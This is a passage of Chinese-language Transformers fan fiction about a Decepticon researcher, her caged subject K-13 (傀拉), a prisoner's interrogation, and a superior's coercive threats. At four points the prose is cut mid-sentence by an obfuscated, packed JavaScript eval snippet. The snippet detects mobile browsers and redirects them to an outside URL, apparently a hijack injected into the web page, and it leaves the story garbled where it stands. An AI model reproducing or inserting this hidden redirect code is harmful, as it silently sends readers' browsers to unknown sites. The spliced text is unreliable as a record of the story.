红蜘蛛大喜过望,一阵前仰后合过后,他笑道:“这能力,哈哈哈哈!简直太合适了!比震荡波发明的大脑神经接入器还好用,我再也不需要把功劳让给那家伙了。” 他又嘶声嘲讽着飞过山:“现在呢?你还有什么可傲气的?我会把你从里到外全都打开,等我召集大军发动突击时,那些汽车人可全都得感谢你提供的信息!” 飞过山呸了一口能量液,嗤笑一声:“你觉得……我会背叛他们吗?你以为我会让你这样…利用我的话,你可想错了,尖叫鬼。” “噢,你不会吗?那你现在还能怎么办呢?你应该感谢我如此仁慈地饶你一命……暂时性的。乖乖配合,你或许还能死得痛快一点。” 在等待红蜘蛛向飞过山放完垃圾话的这段时间里,照明乖乖地闭上了嘴,能力当然也没持续起作用。 等红蜘蛛说完了,下巴得意地一扬,照明刚要继续问,一瞬之间,变故突如其来。 飞过山的四肢本来被厚重的束缚锁牢了,但此时,他狠狠地甩动上身,用头部撞向背后的支架钩口,发出撕裂般的噪音。 他在故意撞裂自己头部的护甲,破坏自己的硬盘,让自己离线,以求不再不受控制地泄露同伴的信息。 “按住他!”红蜘蛛对小兵叫道,他狞笑道,“啧啧,你很想死是吧?” 他靠近飞过山,锋利的指爪勾过他的咽喉。 他对着小兵吩咐道:“把他的肢体全部卸下来,除了躯干的那部分。嘴和发声器还在就行。” 飞过山忽然安静下来,仿佛屈服一般低垂下头。 但就在红蜘蛛稍稍分神的一瞬,他猛然抬起头,拼尽最后的力气分开外装甲,将自己的火种仓重重撞向红蜘蛛的手爪。 锋利的指爪嵌入原生质,能量液和红蜘蛛的怒吼一起涌出。 照明本该退后一步,保持沉默。 但与之相反,她的反应来得比意识更快。 “不要——不要死!” 这是一句用上了能力的命令。 能量液的流出停止了,红蜘蛛愕然拔出了自己的爪子;飞过山的光学镜闪了闪,维持在一个非常暗的亮度。 红蜘蛛猛地回过身,目光燃烧着不加掩饰的怒火。 “你做了什么?” 他朝照明一步步逼近,每一步都带着怒意与怀疑。 “你这个故障!你对他做了什么?!” 他指着飞过山瘫软的机体:“你把他弄坏了!我要的是坐标!不是一个半死不活的机子!你是系统出故障了,还是你是间谍?!” 照明摇摇晃晃地后退了一步,肩膀紧绷,声音哽在喉咙里。 声波无声无息地走上前。 之前他一直在侧后方看着一切,像一道融化在黑夜里的影子,直到事情发生了变化,才站出来处理残局。 他一言不发地靠近飞过山,透过面罩,审视着他的机体。 红蜘蛛还在怒吼。 “你倒是管管啊,你的手下把一切都毁了!” 照明眼前一黑——能力的副作用如期而至,她的能量被瞬间抽空,世界失去了重心。 她失去意识,倒在地上。 在下线前,她恍惚听到红蜘蛛的声音:“……你要带她去哪?” [观察。] 然后,照明的世界扭曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526394|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 她好像被吞入了一个黑洞,一切向内弯曲,各种碎片化的光影成为了一个扭曲的漩涡,飞速地把她卷在里面—— ——照明从充电床上猛地坐起身来。 舱室的灯光明晃晃地打在她身上,把她从那个阴沉沉的梦境里唤了回来。 那个梦,或者说记忆碎片,像令人不快的垃圾弹窗广告一样,时不时地粘在她的神经回路上。 照明不知道她还记得那么清晰。说实在的,她以为细节早就随着时间的流逝被系统清理掉了。 她也很久没有想起来这件事了。 可能是由于上一个周期和傀拉讲述的童话故事,让她的处理器调出了这件事的记忆碎片。 照明抹了一把面甲,活动活动机体,准备前往实验室。 她的思绪有些迟钝地运转着。 飞过山的面甲、他的声音,仍然在她的处理器中回荡。 这是直接因她而死的第一个机子。 她后来又短暂地见到过一次这个半死不活的汽车人。 他被存放了起来,按照原计划,应该要和她一起被送往震荡波长官那里。 不过后来她没有在震荡波的实验室见到他的机体,不知道后来在他身上又发生了什么。 她试图说服自己,她做了正确的事情,让他“活着”就意味着一切都还有希望。 但万一他再也没有醒来呢? 照明不知道飞过山的意识处于什么样的状态。 比起死去或者活着,万一处于一种意识被困于火种深处的状态,那岂不是求生不得求死不能? 或许是因为一定程度上的“起死回生”透支了能力,照明在进行复现实验时,连一只石油兔子都复活不了。 别说复活这种奇迹了,普通的能力也是十回里才能管用一回。 看着照明拼尽全力、面甲上都冒出了冷凝液,都无法阻止面前的涡轮狐狸啃能量棒,震荡波大摇其头。 这不符合逻辑。 然而,声波是不会和他开玩笑的。 声波更不会浪费这么多能量开启太空桥,只为了把一个普通的变形金刚送到他的面前。 对于能力的透支,照明也不太在意,反而觉得这样挺好的;她终于不用像个科学仪器一样被搬来搬去了。 对于震荡波来说,照明留之无味、弃之可惜。 至于照明是怎么鞍前马后,被废物利用当了好一阵助手,又是怎么在震荡波重返报应号之后,被顺手丢到了地球上的初级研究所,那都是后话了。 走向实验室的路上,照明顺手检查了一下通讯,发现私人通讯噼里啪啦地提示着。 “迟早四在办公室”的ID,是风语。 照明想了起来,好像之前在医务室的时候,系统就提示了风语给她发过信息。 但当时照明芯里满是不安和焦虑,忙着听伊迪斯说话,后来又给傀拉讲故事,竟忽略了这条消息。 她连忙回复了信息,风语的信息下一纳秒就传来,颇为松了一口气似的。 迟早四在办公室:[谢天谢地你还活着——那火种源在上,之前为什么你不回我的消息?] 升职不加薪:[遇上了很多事情,说来话长。怎么了?] 迟早四在办公室:[我有件事需要告诉你。……唉,通讯里说不清楚。我也很想知道为什么我遇上的事情解释起来都那么复杂。一循环后在后勤部见,你有空吗?] 照明挑起眉毛。 这个情景过于熟悉,给她带来了浓重的既视感。 好像在不久之前,她们有过类似的对话。 而对话的结果是什么呢? 捡回来的人类为什么一直响。 此时此刻,照明不想再把上次的“惊心动魄”再次经历一遍了。 但是话又说回来,在经历过上次的经验教训之后,风语不可能再随随便便地、趁着出外勤的机会,乱捡人类回来了吧? 抱着这种怀疑,照明确认了一下:[你可不要告诉我你又干了和上次一样的事情!] 风语的回复来得特别迅速:[当然不会!你把我想成什么样了?我是这种吃一堑吃一堑的机子吗?] 是的。 照明暗暗吐槽。她查看了一下日程,发现这个周期她还确实能抽出一点时间。 好奇芯害死光纤猫,这话是有一定道理的。 或许她和风语能成为朋友,就是照明骨子里和风语一样,还有一些好奇存在。 她的性格元件也让她不能彻底冷漠地无视风语的请求。 于是她充满怀疑地回复:[好吧,那到时候见。] 36. 你说你不想在这里 照明先是来到了实验室,完成了这个周期的日报和检查。 现在的百无聊赖,让她想起刚刚接手还是“K-13”的傀拉时,那段抓紧一切机会摸鱼的日子。 傀拉这个周期的芯情不错。 她看来是恢复如常了,上个周期的坏情绪不见踪影,甚至有点好得过头。 她和照明开了好几个玩笑,让照明在拿起扫描仪的时候,面甲上还含着笑。 梦境中的阴影,在虽不美好、但仍然有慰藉的现实面前,如同冰雪遇到太阳那样融化了。 尽管这样想有些不太正直,但管他的呢! 照明恨不得炸药在医务室里有多久呆多久,他需要替换的零件最好是限定的特殊出产,让后勤部的机子大海捞针却依然无能为力,这样她就可以多和傀拉单独相处一会。 傀拉侧躺在检查的医疗泊位上,懒洋洋地伸展了一下,一只爪子随意地敲打着金属表面。 情况和以前那段时光还是有所不同。 这次,她没有被束缚装置紧紧地绑在泊位上。 这个场景几乎和任何一个医疗站的检查场景一样。除了傀拉颈部的项圈,其他的一切都非常正常,普普通通。 照明站在实验终端前,她光学镜的焦点在扫描仪读取的数据和研究对象之间来回切换。 傀拉或许正是和照明想到了一处去。 她百无聊赖,忽然一个翻身,坐了起来,伴随着一个有点奇怪的动作,机体发出一阵酷酷卡卡的响声。 这响声并不连贯,让人想到忘记带钥匙的主人在和没有上润滑油的门轴较劲。 照明听到声响,侧身望去,光学镜瞪大了。 傀拉现在的样子非常古怪—— 外装甲翕张、很多结构部分变形;一只手已经消失不见,又从变形到一半的机体胯部冒了出来;她的头雕有一半缩回了机体里面去,照明只能在装甲的缝隙里看到她的下半张面甲。 傀拉正努力扭过头,看自己平常缩在背后的金属翅膀;翅膀此时一边高一边低,颇有点滑稽。 照明措不及防又哭笑不得:“你干什么?” “啊。果然又失败了呢。” 傀拉若无其事地仰脸看向照明。 她是不是确信自己会给她兜底? 照明连忙离开实验终端,找出适合的工具,解锁傀拉被锁死的机体关键关节。 她一边手动解锁,一边问:“怎么突然想尝试变形了?” 傀拉的声音闷闷地从装甲里传出来:“哈,有些事情就是这样。当别人强迫你做的时候,你偏偏不想让对方如意;但要是不再提起了,你自己反而会好奇起来,忍不住想要去试试看了。反正也没什么事情好做。” 想必这就是机之常情吧。 但照明依旧板着脸:“我之前看过你的实验记录。你的变形齿轮没问题,或者说有以我们的水平看不出的问题。但是你依然不应该这样胡乱地尝试变形。” 炸药的实验又回到了照明的脑海。被迫经历那样的事情已经足够可怕了,她不会让傀拉再因为无聊或者好奇而胡乱糟蹋自己的身体。 “如果你在条件不成熟的情况下强行改变形态,你内部的整个结构可能会——” “——爆炸成一团混乱的碎片,然后我成为被浪费的资产?”傀拉无所谓地耸耸肩,她上半身被照明解放了出来,因此终于有肩可耸了,“是的,我相信我以前听过这样的说教。第52次还是第65次?记不清了。不过,听那个炸药被指责,算是我当时仅有的一点娱乐。” 照明摇摇头,口气软了下来:“我不会把你的健康问题称为‘说教’。” 傀拉带着无聊的乐趣,观看着照明的一举一动,直到照明终于把她彻底解.放出来。 她的下一句话让照明顿住了手。 “看来我一直以来的感觉是对的。他们不再想要修复我的变形功能了。” “什么?”照明下意识否认,“你怎么突然这样想?” 傀拉笑道:“自从你来之后,你没有在强迫我变形,也没有再修理我的变形齿轮。你做了种种测试,还打开了我的火种仓。他们准备了完美的场地,来检验我的战斗生存能力。” “最关键的一点是,要是在听到‘体外火种融合’之后还无动于衷,我不就浪费了从前那些数据资料的输入吗?” 照明装作若无其事:“你想得太多了。实验没有什么变化……” 傀拉又笑了。她坐了下来,身体前倾,双手交叉着,把下颌靠在手上。 “你知道吗?撒谎真的不适合你。你试图撒谎的时候真的很可爱,可惜你太不擅长了。” “至于你撒谎的理由嘛,应该和实验的目的有关吧,是很残忍?也不像,不然你的表情不会是这样;那我猜,就是和你自己有关了。” “实话和我说,除了本职工作之外,你是不是还在这个小实验中扮演一个更亲密的角色?” 如果傀拉生活在战前,那她将会是一个很好的学生;明明条件有限,接收的数据不完整,推测过程也不全对,但不知为何,她的猜测却越来越接近真相。 照明几乎要哀叹了——震荡波到底都给傀拉输入了什么些实验数据啊?她本来还心存幻想,期盼傀拉不知道“火种融合”是什么意思,但现实总是残酷的。 她有点紧绷地小声道:“我被调到这里不是为了,无论你在想象的什么奇怪的事情。” “放松点,照明。如果是我猜想的那样……我觉得我们会成为模范火种伴侣的。” “你别开这种奇怪的玩笑。”照明佯装生气,但话音里的柔和出卖了她。 傀拉点到为止。她的光学镜闪烁着,注视着照明。 “那么,如果我两次测试都没通过怎么办?”她轻声问道,“无法变形,也不能......被复制。” “让我告诉你接下来会发生什么,亲爱的。不管这种让我变得‘有用’的方法会不会成功,他们会把我拆成零件。” 傀拉并没有在发泄恐惧,只是单纯地询问着,好像自己也在迷惑着、好奇着这一切的结局似的。 “如果我失败了,你会让他们把我撕碎吗?” “你没有举报我。”傀拉说,“那你会帮我吗?” 这就是了,真正的问题。 这是傀拉一直在整个对话中绕来绕去、真正想知道的问题。 她们之间的空气仿佛变得厚重。 照明想说,她会。她真的想。 她的一部分催促着她采取一些行动来改变现状,但是她的另一部分被埋葬在命令和过去所有令人毛骨悚然的恐惧之下,一想到傀拉问她的问题就很痛苦。 要如何反抗呢? 有一种理论说,一个人从来没有办法想象出自己没有见过的事物;与此同时,人做任何事情,都是需要想象力的,或者说是一种预判。 作为一个再普通不过的变形金刚,照明无法想象出离开这一切的可能性,更无法想象出一个和平的未来。 她鬼使神差地想到月蚀。 那双牢牢掐住她咽喉的无形之手,此刻也掐在月蚀的喉咙上吗? 黑骑士甚至不需要再次威胁她。 她觉得自己像个叛徒,又觉得自己像个傻瓜。 她看着傀拉——活生生的、明亮的、动人的——她突然意识到自己是多么在乎。 但而这种关心和在乎是多么无用。 她真的无能为力,在所有表面的伪装下。 她不是一个赛博坦人。 她是一个名为“霸天虎”的巨大战争机器中的一个齿轮,一个实验设备,一个产出的工具。 而唯一比被其摧毁更糟糕的事情,就是看着傀拉在她面前被摧毁。 照明张了几次口,又闭上了。最后她说:“如果他们决定你毫无用处,那这一切就不再是我的选择了。” “那为什么上一次你却挺身而出?” 上一次? 是汽车人来袭那一次吗?原来傀拉当时在泽卡莱亚的攻击之下还清醒着,听到了照明向着泽卡莱亚请求。 “那……那一次不一样。” 傀拉没有动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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眼见得照明抬起手,作势朝着风语的音频接收器揪去,风语慌忙后仰躲过,撇清自己的干系:“但是,但是——这回可不是我的错!是他们自己跑进来的!” 照明扶额:“风语,我们现在可是在北极。上次也就算了,但据我所知,有人类跑到北极来度假的情况比在这里发现火种源还罕见。” “我知道啊!”风语充满了委屈,“可他们就这样出现了!在通风口里,好像在寻找着什么。你说,这会不会和之前捡回来的史蒂夫和巴基有关系?” 她一五一十,把上次意外撞见神秘人类的事情倒了个一干二净。 值得庆幸的是,这回她们不用把人类送出研究所了——因为人类消失了。 在那场遭遇之后,风语怕事情暴露,主动申请去清理循环管道。 可哪怕她捏着嗅觉传感器,把长长的循环管道找了一整圈,也没有找到半只人类的踪迹。 要不是那支箭矢还提醒着风语人类来过,她几乎要觉得这是自己工作不饱和而产生的幻觉。 “人类来都来了,既然找不到,我也没什么好说的,总不能自己吓自己,去向上级自首吧?”风语垂头丧气地一摊手,“我真正担心的是另一件事。就是我说的‘和你有关’的事。” 照明奇怪道:“你说‘和我有关’是什么意思?” 风语道:“我日循环时要负责转运物资,但我又想要找到人类,那清理循环管道的事只能在大家都去充电之后做。” “有一个周期,当我在循环管道里爬着的时候,我听见旁边的通风口里有声音。” “有人提到了K-13。还有些奇怪的金属摩擦的动静,但我当时没有听清。” “我在通风口里朝外面看了一眼,发现那是设施维护组的房间。里面放的是你们实验的设备,但是说话的人已经不见了。” 风语犹豫了一下:“那个房间权限很高,连我都没进去过。当然,和你现在所在的实验室是不能比啦,但就是没什么机子能进去的。” “特别是,在那段时间,房间本应该是封闭的。我后来和设施维护组的组长讲了这件事,她给我看了记录,记录里显示……” “在我听到声音的那段时间,没人进去过。” 37. 说间谍(待修改) 风语刻意压低的声音,让整件事听起来颇像一个鬼故事。 照明也皱起了眉头。 这委实是一件奇怪的事,更让她感觉奇怪的,是神秘人在不合适的时间、不合适的地点,竟提及了傀拉。 她问:“你有听见那些话具体是什么吗?他们提到K-13的什么内容?” 风语摇了摇头,面露懊恼之色:“没有,我只听得清编号。其他词断断续续的,还有像是在操作终端的声音。哦,我一直没机会和你说起。” “上次偶然看见K-13之后,我就被泽卡莱亚删掉了一点记忆文件。曾经的我或许看到了什么不该看的东西,但现在的我连K-13究竟是什么都不知道。就算他们提到了什么属于K-13的细节,那我也不知道呀。” 照明听了这话,震惊之余,却释然地从通风口呼出一口气。 上次汽车人来袭的时候,风语也是看见过K-13的。 在知道见过K-13的警卫队长死亡之时,她就暗暗担芯过,同样也见过K-13的风语会不会被卷入其中、甚至同样遭受“被处理”的命运。 但现在看来,高层认为风语还是有用处的——和照明一样——所以只是采取了相对温和的手段,来让一切更加保密和安全。 虽说被强制删掉记忆文件实在是非常惨无人道的事,但和被残忍虐.杀、送回火种源一比,听起来就像是温柔的抚摸了。 “我不知道该和谁说,所以才来找你。”风语瘪着嘴。 看来即使粗线条如她,也本能地觉得这件事隐隐约约触及了某些她并不该知道的领域。 照明逻辑回路飞快转动起来。 她一直以为,自己是这个项目的负责人,对K-13有相对自主的研究主导权。 也许那段时间房间内的记录确实被篡改了;也许研究所里有人正在暗中泄露信息;甚至……也许K-13本身就不是只属于她的项目? 照明越想越觉得事情扑朔迷离,而她偏偏连一条可靠的、能接近事情的真相的路径都找不到。 自从接手K-13以来,她就仿佛步入了一个暗流涌动的漩涡,每个周期都会浮现出新的意外,每个人都在盘算着属于自己的秘密与利益。 她始终都是在被动地应对这一切,但是下一件意外究竟会是什么?下一个周期会迎来什么? 她开始怀疑,等到某一天真正的意外来临,她是否还有能力渡过? 风语见照明沉默不语,脸上神色一变再变,一副陷入思索的模样,不禁有些紧张地开口:“照明……你是不是也不知道这到底是怎么回事?” 照明从思绪中回过神来,目光依旧凝重,但语气尽可能轻描淡写:“我不知道,但我会注意的。” 风语像是松了口气,又带点不安:“你能吗?要不要我也——” “不用。”照明语气温和,却很果断地打断她,“你已经冒了很大的风险了,今天这件事,你不要和别人提起,就当只告诉了我一个人。” 风语咬了咬牙,点了点头,像是终于做了一个艰难的决定:“好。我相信你。” 照明扯了扯嘴角,没说什么。 她芯里其实比表面上表现出来的要没底得多。风语能信她,可她自己能信什么呢?她还能信谁呢? 她拍了拍风语的肩:“回去吧。现在可是难得的休息时间,别浪费了。” 风语迟疑片刻,终究还是听从了照明的话,一步三回头地离开了。 她的脚步声逐渐远去,照明在原地踟蹰了一会。 然后她茫然地拖着步子,也离开了物资供应处。 —————— 与此同时,在医疗室里,伊迪斯正在忙碌着。 作为这个初级研究所的医官兼任行政主管,她一直都很忙碌,尤其是现在有了真正要治疗的重伤患,这让她的工作量更是雪上加霜。 从前在她手下工作的机子都很轻松,因为伊迪斯作为一个上司来说实在是百年难得一遇的。 她会主动承担大多数的工作,哪怕是那些繁琐的文书工作。即使下属工作失误、或者摸鱼偷懒,也绝不责备或者处罚。平时,还会主动和下属们聊天,偶尔还在能量块短缺的日子里好芯地分出一些配给。 现在作为她下属的机子们算是正式领略到了长官平时的工作量。 和照明一比,伊迪斯实属于一位热爱工作的工作狂魔;或许还比不上泽卡莱亚,但在研究所也是数一数二的兢兢业业了。 在大家前往能量供应处的前往能量供应处、休息的休息的此时,她还在医疗室内,拿着最新收到的机体零件,进行磨合修改着。 炸药躺在医疗泊位上,系统处于下线的状态。 伊迪斯的光学镜朝昏暗的终端显示屏扫了一会儿,然后又回到了医疗泊位上的机子身上。 “机体内部各个系统都有轻微的能量泄漏。哼,标准的冲击创伤。”她嘟囔着,喃喃自语。 炸药在上一次训练模拟中受到了打击。但变形金刚都很坚韧,后来也调来了充足的材料,在万事俱备之下,他会好起来的。 她伸手去拿拆卸装甲的扳手等工具,开始了从炸药身上移除损坏胸甲的任务。 下面断裂的燃料管线已经在之前被修补好了。 伊迪斯认真地皱起眉头,调整了一下工具的方向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538042|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,以更好地伸入炸药的体内。她伸手调出炸药的子空间接口,准备进行例行清点与诊断。 “看看里面有没有什么遗漏的碎片……” 面板弹出,随之而来的,是一片静默。 她的动作忽然停住了,光学镜在发现一个零件时眯了起来。 在标准的备件与能量条之间,赫然躺着一个不该属于炸药的东西。 一个——加密等级低的旧式汽车人联络芯片。 那是一种已经多年未见的型号,格式老旧、传输协议陈旧,内容似乎只是一些常规坐标和通用通讯记录,乍看之下无关紧要,但却不应该出现在一个忠诚的霸天虎战士的子空间中。 她没有露出丝毫表情波动,只是沉默地将芯片提取出来,在手中转了转,轻轻放入一个屏蔽干扰盒中。 然后,她起身,内部通讯已经拨通了。 “长官,这里是伊迪斯。” 她的语气一如既往地冷静、条理清晰。 “我在炸药的体内检查过程中发现了一枚不明芯片,联络格式与汽车人旧制通讯设备吻合……” “嗯,我已将芯片封存了,随时可以送交审查。” 她顿了顿,补充道:“此事可能涉及安全隐患,建议您亲自过目。” 通话那头传来短暂的静默,随后是一声含义不明的轻笑,仿佛对她的谨慎有所赞赏。 伊迪斯没有多说,只是将那枚芯片轻轻锁进了储物柜中。她的目光不经意地在炸药的面罩上停留了一会。 然后她低头,继续回到她未完成的修复工作,仿佛什么也没发生过。 —————— 照明有些走神,在走廊上兜着圈子,任由自己的双脚带着自己前行。 直到看到房间门牌的时候,她才怔了一下,停下脚步,意识到自己竟然在不知不觉之间走错了路。 这不是通往能量供应处或是傀拉所在隔离区实验室的路,她面前的门牌上,明晃晃地写着:医务室。 像是某种直觉把她牵到了这里。 医务室的门正微微敞开着,但照明连多看一眼的兴趣也没有。 这里并没有承载着什么美好的回忆,不管是自己还是受了重伤的傀拉,都让这里有点可怕;而现在在医务室里的那个机子,则是位列“自己愿意去医务室探望的机子”名单的末尾。 她刚想离开这里,一声隐隐约约的尖叫绊住了她的脚步。 “这是个陷阱!我被陷害了!” 照明的脚步停了下来。 透过半开的门,她看到两个警卫正把一个机子拖出来。 —————————————————— 38. 当局者迷 照明是如此紧张,以至于当她跟着泽卡莱亚走进黑骑士办公室时,走廊的墙壁似乎都在向中间压缩而来。 泽卡莱亚向着黑骑士简单地致了一礼,随即退了出去。 门在她身后关上了。 恍惚间,照明觉得有一张巨大的网把她笼罩了起来。 而黑骑士正是这张大网中的蜘蛛,正在好整以暇地守候着猎物。 黑骑士甚至没有从数据板前抬起光学镜,只是冷冷哼了一声:“坐。” 令人庆幸的是,这回她的对面多出了一张正常普通的座椅,而不是什么惨遭折磨的机子。 照明一言不发地服从了。 黑骑士用手指敲击着桌面,每一下敲击都像是打在照明的火种上。 她终于漫不经心般说道:“真是有趣,考虑到在这么一个小小的研究所里,每个人居然都有自己的秘密。” “照明,你的秘密又是什么呢?” 照明的处理器中一时间掠过无数件她隐瞒的事情,对于工作的懈怠、和傀拉私底下的聊天、私藏且最终放走的人类、通风口内的不明人士和无影无踪的神秘人…… 但她认为,以黑骑士的性格,这些事哪怕被黑骑士发现一件,黑骑士此刻绝不会只是闲聊,绝不会还能让她如此安然地坐在这里。 于是照明含糊其辞,刻意表现出困惑的模样,扮作不明所以的下属:“您的意思是……抱歉,我不太明白。” 哒、哒、哒。 黑骑士反过了手来,用指节在桌面上轻轻敲击;这是一段松散的节奏,此时却显得如此有压迫感。 照明强迫自己维持冷静,然而逻辑电路已经开始高速运转。 她不知道这场对话会不会直指真正的隐患—— 如果黑骑士真的问到了那些事情,她该如何掩饰?否认、转移怀疑,还是…… 但黑骑士并未逼问她。 在照明快要沉不住气时,黑骑士仿佛不经意地话锋一转:“说起来,之前我让炸药重新获得了管理K-13的职权……” 她面甲上的笑意加深了:“告诉我,你当时觉得失望吗?” “您知道我并不在意共事者对我的看法,”照明斟酌着词句,揣测着这是否是黑骑士想要听到的回答,“我也不在意职位的调动。只要有利于实验,我都完全配合您的安排。” “哈。”黑骑士噗嗤一笑。 “我最喜欢看你们表决心的样子。你们总是这样,嘴上说得漂亮,芯里在想什么却只有自己知道。” “炸药也是一样。” 提到此刻已经不知在哪里遭受折磨的那个机子,黑骑士的语气依旧轻快,神情却变得阴冷。 “有些人,总是在觊觎不属于他们的东西。给了他们第二次机会却不知道珍惜,总以为能无限地得到自己想要的事物。” “贪婪,总是让人忘了自己的位置。” 作为经常在谈话中掌握主动权的一方,黑骑士已经习惯了另一方在她面前的默然不语。 因此,见照明没有立即反应,黑骑士也习以为常,只是继续说:“当然,比起背叛或者愚蠢的失败者,我还是更加欣赏另一种机子。” “因为这还挺有趣的。以为自己很聪明,以为一切都在自己的掌控之中;然而,掩饰却太过于拙劣。” “知道K-13会说话时,我可比你还惊讶。” 什么—— 在照明光学镜焦点骤然紧缩的同时,黑骑士笑盈盈地补充了一句:“哦,真是抱歉。或者我应该称呼它为‘傀拉’?” 或许照明早有预感,或许她曾经想过事情终有败露的一天。 但她没有想过这一天来得那么快,那么平静,几乎诡异。 黑骑士知道。 黑骑士一直都知道。 直直地望向黑骑士的光学镜,照明咽了一口电解液,干涩道:“你——你知道。” “我知道有一段时间了,而且我一直关注着。”黑骑士享受着照明的震惊,“你真以为我不知道这一切?我只是没兴趣打断你们的小秘密。” “还有隔离区实验室的监视器,泽卡莱亚发现有人篡改了多个记录。你有点小聪明,但没那么聪明。篡改监控日志可能会骗过一些机子,但骗不了我。” 这下可以说是铁证如山。 照明没有动。 她的机体机械地坐在原地,但她的思想在尖叫。 所有那些给傀拉念书的夜晚,所有那些偷来的眼神和笨拙的情绪——它们都不是秘密。 它们都被人观看着、被人分析着、被人评判着。 都怪她贪恋那一点点来之不易的温暖,以至于一步错、步步错,最终脱离了自己一直以来的生存轨道。 一部分的她觉得愤怒,一部分的她感到恐惧,一部分的她想要逃离,还有一部分的她竟然一阵释然。 尽管现在形势糟糕,但她清楚明白……她依旧对自己的所作所为毫无悔意。 照明瞥了一眼门口,在想到底要什么时候,自己才会和炸药一样被拖出去。 但是警卫没有来。 她还是安然地坐在黑骑士的对面,这场谈话依然继续进行着,就像一场再普通不过的下午茶。 黑骑士饶有兴趣地观察着照明的反应。 “放松点,”黑骑士说,“我的时间有限,可没空挨个审阅你们的所有小互动。不是全部。” 她抬起头,嘴角弯起一丝薄薄的笑容:“你看,我对你们谈论的东西不感兴趣。” “你没有受到制裁,”黑骑士说,“是因为我允许了这个在我控制之下的变量。毕竟谁也不清楚火种融合背后的奥秘。这种生物本能的行为,把一个机的火种和另一个绑定,只有汽车人才会做的软弱事情。” “从前,体外火种融合这项研究从未取得成功。但谁知道震荡波失败的原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570287|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因呢?或许就是因为他这个机太讲逻辑了。他可能将一些因素视为无关干扰项,忽视了它们的作用和价值。” “亲密。情感。体外的火种融合很可能会从中受益。你和K-13之间的纽带,真是令人着迷。我想观察之后究竟会发生什么。” 照明的发声器咔嚓了一声,但什么话语都没有从中发出。 黑骑士讲到得意之处,站起身来。 她绕着桌子转了一圈,靠近照明,附下.身。 她是如此靠近,近到足以让照明在黑骑士的光学镜头中,看到自己走投无路的倒影。 黑骑士带着幽灵般的微笑说道: “虽然你谈不上忠诚,但据我所知,倒也没有明确的背叛。你的违规行为和你的作用再次相互抵消,现在我们又回到了起点。” “所以,事情将会这样发展——你将继续进行火种融合实验。你会报告一切。你不会让我失望的。” “噢,对了,让我明确一点:无论你在想什么,无论你打算忏悔你的过错、还是打算进行无谓的反抗,任何事情都不会发生改变。” “但如果你再次试图把我蒙在鼓里、凌驾于我的权威之上,我就不需要你的配合了。尽管这样或许会让实验变得更加艰难,但我的耐芯也是有限的。” 黑骑士轻飘飘地丢下一句话:“我们需要的是你的孕育仓,而不是你的处理器。” 照明的手指卷曲着。 她紧紧抓住椅子的边缘,指尖刮擦着金属表面;她的火种不规律地跳动着。 她最深的恐惧正在一步步成为现实。或许早已成为了现实,只是她一直在逃避。 在死亡和失败之外,还有更恐怖的事情。 被剥夺选择权,扔进一场实验已经足够糟糕,但黑骑士话语背后的威胁,是要将她作为一个单纯的“容器”? 她总是在划水、躲懒、对一切不抱期待。 她以为只要自己足够无能、足够咸鱼,就不会被人看见、不会被利用。她甘愿做个多余的透明人,只因为“有用”这两个字太危险了。 没有价值,就意味着没有人会觊觎你。 可她终究还是被盯上了。 即使她竭力想要置身事外,也还是成为了别人计划中的一环。即使在她最不配合的情况之下,她们也会找到使用自己的方法。这一次,别说什么自由,连她的机体都不会属于她。 “而且……如果你不按照我希望的方式做事,不仅仅是你自己会遭受痛苦。” 照明抬起光学镜。 富有威胁性的一个停顿过后,黑骑士道:“风语、K-13,还有月蚀。你关心的机子,都会因为你而遭遇不幸。” 照明什么也没说。 因为她什么也说不出来。她只是点点头。 黑骑士转过身去,说:“准许离开,照明。” 就这样,蜘蛛放开了黏在她网上的猎物。 39. 反对功能主义 和黑骑士的每一次对话,都毫无疑问地可以给机子带来充足的精神创伤。 照明失魂落魄,愤怒、恐惧和羞愧在她的芯头涌动。 她进入实验室,可惜这是自动门,不然她还挺想要把门狠狠摔上的。 曾经的“监控盲区”现在不再安全,照明很怀疑,在她离开的时候,黑骑士已经派人又装了新的她不知道的监视器。 她附身在实验终端前,三心二意地工作。 然后,慢慢地,她的目光飘向了隔离仓里面的傀拉。 一循环左右前的疑惑,并没有因为黑骑士的突然打断而消失。 相反,黑骑士的话语让照明确认了某些事情;但也让她变得更加困惑了。 照明相信炸药不是间谍。 这不是出于信任,而是因为了解他的个性元件和道德水平。 